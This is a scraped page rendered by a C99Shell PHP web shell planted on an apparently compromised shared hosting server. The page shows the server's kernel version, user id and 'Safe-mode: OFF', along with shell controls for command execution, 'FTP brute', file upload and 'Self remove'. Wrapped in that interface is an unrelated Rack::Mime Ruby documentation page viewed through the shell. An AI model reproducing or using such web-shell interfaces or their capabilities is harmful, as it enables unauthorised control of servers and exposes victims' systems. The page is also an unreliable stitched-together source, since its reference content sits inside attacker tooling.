!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/   drwxr-xr-x
Free 223.51 GB of 981.82 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Mime.html (17.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Module: Rack::Mime

In Files

Files

Class/Module Index [+]

Quicksearch

Rack::Mime

Constants

MIME_TYPES

List of most common mime-types, selected various sources according to their usefulness in a webserving scope for Ruby users.

To amend this list with your local mime.types list you can use:

require 'webrick/httputils'
list = WEBrick::HTTPUtils.load_mime_types('/etc/mime.types')
Rack::Mime::MIME_TYPES.merge!(list)

N.B. On Ubuntu the mime.types file does not include the leading period, so users may need to modify the data before merging into the hash.

To add the list mongrel provides, use:

require 'mongrel/handlers'
Rack::Mime::MIME_TYPES.merge!(Mongrel::DirHandler::MIME_TYPES)

Public Class Methods

match?(value, matcher) click to toggle source

Returns true if the given value is a mime match for the given mime match specification, false otherwise.

Rack::Mime.match?('text/html', 'text/*') => true
Rack::Mime.match?('text/plain', '*') => true
Rack::Mime.match?('text/html', 'application/json') => false
# File lib/rack/mime.rb, line 28
def match?(value, matcher)
  v1, v2 = value.split('/', 2)
  m1, m2 = matcher.split('/', 2)

  (m1 == '*' || v1 == m1) && (m2.nil? || m2 == '*' || m2 == v2)
end
mime_type(ext, fallback='application/octet-stream') click to toggle source

Returns String with mime type if found, otherwise use fallback. ext should be filename extension in the '.ext' format that

File.extname(file) returns.

fallback may be any object

Also see the documentation for MIME_TYPES

Usage:

Rack::Mime.mime_type('.foo')

This is a shortcut for:

Rack::Mime::MIME_TYPES.fetch('.foo', 'application/octet-stream')
# File lib/rack/mime.rb, line 16
def mime_type(ext, fallback='application/octet-stream')
  MIME_TYPES.fetch(ext.to_s.downcase, fallback)
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.013 ]--